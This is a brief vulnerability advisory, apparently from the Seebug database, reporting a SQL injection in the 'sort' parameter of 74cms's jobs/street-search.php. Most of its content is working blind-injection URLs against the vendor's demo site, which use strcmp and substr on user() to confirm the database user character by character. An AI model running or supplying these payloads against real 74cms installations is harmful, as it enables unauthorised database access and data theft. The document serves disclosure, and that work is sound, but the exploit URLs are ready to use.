74cms street-search.php sql注入

2015-10-10T00:00:00
ID SSV:89652
Type seebug
Reporter do9gy
Modified 2015-10-10T00:00:00

Description

http://demo.74cms.com/jobs/street-search.php?sort=wage%3Edesc%27&page=1&streetid=&inforow= sort参数存在SQL注入 text

盲注: 正确:http://demo.74cms.com/jobs/street-search.php?sort=hot%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),id,click)%20limit%201%23&page=1&streetid=&inforow= 错误: http://demo.74cms.com/jobs/street-search.php?sort=hot%3Easc,if(strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),id,click)%20limit%201%23&page=1&streetid=&inforow=